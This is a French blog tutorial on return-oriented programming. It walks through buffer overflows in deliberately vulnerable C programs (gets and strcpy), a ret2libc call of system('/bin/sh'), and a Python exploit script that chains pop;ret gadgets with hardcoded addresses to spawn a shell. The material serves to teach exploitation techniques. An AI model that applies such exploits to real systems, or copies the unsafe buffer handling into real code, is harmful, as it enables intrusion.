Exploitation – Return Oriented Programming

Comme vous l’aurez compris dans l’article consacré au Buffer Overflows, la technique d’exploitation est assez Old School et demande un certain nombre de paramètres, comme la désactivation de l’ASLR par exemple. Cependant il est possible d’eviter ce genre de problèmes grace au ROP !

Avant d’entrer dans l’univers du Return Oriented Programming il est important de se souvenir de certaines bases.

Manipulation de programme :

Rappelez vous dans un précédant article nous faisions face à ce programme :
#include stdio.h
CanNeverExecute()
{
printf("I can never executen");
exit(0);
}

GetInput()
{
char buffer[8];

gets(buffer);
puts(buffer);
}

main()
{
GetInput();

return 0;
}

Notre but était d’exploiter ce programme pour executer la fonction : I can never execute.

  Pour plus d’infos ici !

Ceci nous a permis de voir un peu plus comment fonctionnaient la mémoire, on sait donc maintenant executer la fonction de notre choix dans un programme à partir d’un dépassement de tampon.
Mais cela ne nous sert en vrai pas à grand chose..

Exploiting the args:

Pour aller plus loin regardons un peu ce code :

 

char* not_used = "/bin/sh";
void not_called() {
printf("Not quite a shell...n");
system("/bin/date");
}

void vulnerable_function(char* string) {
char buffer[100];
strcpy(buffer, string);
}

int main(int argc, char** argv) {
vulnerable_function(argv[1]);
return 0;
}

On repère comme précédemment une fonction not_called qui ne sera jamais appelée.
Cette fonction fait appel à une fonction system une belle erreur de programmation que l’on va s’empresser d’exploiter !

Objectif : Profiter d’un Buffer Overflow pour appeler la fonction system !
Oui mais attendez, c’est exactement ce que l’on viens de faire ça ..
On va donc faire mieux que ça, on va appeler cette fonction system en lui passant comme argument not_used, ce qui nous donnera donc une instruction system(« /bin/sh ») autrement dit un shell !

Pour cela on va ressortir GDB.

Il nous faut tout d’abord trouver l’adresse de la fonction system ainsi que celle de l’argument qui nous intéresse

print ‘system@plt’ => Affiche les adresses des fontions system();
x/s not_used => Affiche l’adresse de la variable not_used qui contient « /bin/sh »

Afin de manipuler cette fonction nous devons mettre en place notre stack.
Tout d’abord nous devons créer l’overflow.
En utilisant Peda on peut voir que EIP se trouve a 112 octet.

Il nous faut ensuite placer l’adresse de la fonction system.
Puis une adresse de retour quelconque puisqu’elle ne sera jamais utilisée.
Enfin l’adresse de not_used.

Encore une fois on va se servir de python pour cela !

Nous avons donc réussis à avoir un shell !

Go Go Gadgeto !

Comme vous vous en doutez le but du ROP n’est pas simplement de manipuler des fonctions toutes prêtes dans le binaire cible. En fait ROP est surtout utilisé pour executer le code de notre choix !
Et cela ce fait en utilisant ce que l’on appelle des gadgets.
Un gadget est une petite portion de code ( Assembleur ) qui se termine par l’instruction RET .
mov $0xb,%al
ret

Ici par exemple notre gadget met la valeur 11 dans le regisre AL.

Avec ceci nous allons exploiter le programme suivant :

 

char string[100];
void exec_string() {
system(string);
}

void add_bin(int magic) {
if (magic == 0xdeadbeef) {
strcat(string, "/bin");
}
}

void add_sh(int magic1, int magic2) {
if (magic1 == 0xcafebabe && magic2 == 0x0badf00d) {
strcat(string, "/sh");
}
}

void vulnerable_function(char* string) {
char buffer[100];
strcpy(buffer, string);
}

int main(int argc, char** argv) {
string[0] = 0;
vulnerable_function(argv[1]);
return 0;
}

En étudiant un peu ce programme on se rend compte que l’on a une fonction strcpy()
qui est faillible à un dépassement de tampon.

On se rend compte aussi que cette fois il faudra exécuter la fonction add_bin puis add_sh en leur passant les bons paramètres, à savoir 0xdeadbeef pour add_bin et 0xcafebabe, 0x0badf00d pour add_sh
enfin nous appellerons la fonction exec_string qui nous donnera un shell ! ( puisque string contiendra « /bin/sh » )

Pour pouvoir manipuler ce programme nous allons utiliser des gadgets.
Dans ce cas nous allons utiliser un gadget pop; ret . Ce qui nous permettra par exemple d’extraire 0xdeadbeef de la stack puis grâce au ret d’accéder au gadget suivant.

La fonction add_sh demande 2 arguments, nous allons donc utiliser un gadget pop; pop; ret;

Nous allons donc nous construire une stack qui contiendra :

  1. Le dépassement de tampon qui permet d’accéder et de contrôler la stack.
  2. L’adresse de la fonction add_bin. le gadget pop; ret; l’argument pour add_bin.
  3. L’adresse de la fonction add_sh. le gadget pop; pop; ret; les arguments de add_sh.
  4. L’adresse de la fonction exec_string.

Pour trouver ces adresses nous allons utiliser objdump -d <binaire> 
Puis grâce au module struct de python nous allons écrire un exploit pour ce binaire.


import os
import struct</pre>
#Adresse des gadgets

pop_ret = 0x0804857f
pop_pop_ret = 0x804857e
exec_string = 0x0804844d
add_bin = 0x08048461
add_sh = 0x0804849c

#Buffer Overflow

payload = "A"*108
payload += "1337" #Fake return Adresse

#Add_bin(Oxdeadbeef) gadgets

payload += struct.pack("I",add_bin)
payload += struct.pack("I",pop_ret)
payload += struct.pack("I",0xdeadbeef) #Argument demande par la fonction

#Add_sh(0xcafebabe, 0xbadf00d)

payload += struct.pack("I",add_sh)
payload += struct.pack("I",pop_pop_ret)
payload += struct.pack("I",0xcafebabe)
payload += struct.pack("I",0xbadf00d)

#Derniere instruction

payload += struct.pack("I",exec_string)

os.system("./final "%s"" % payload)

A la fin de ce code nous avons une execution du binaire avec en argument le payload.
Lorsque l’on exécute ce code on obtient un shell !

Voila donc pour cet article consacré au ROP ! En esperant que cela vous sera utile. Dans d’autres articles nous verrons des cas d’utilisations de ROP.

Laisser un commentaire

Votre adresse de messagerie ne sera pas publiée. Les champs obligatoires sont indiqués avec *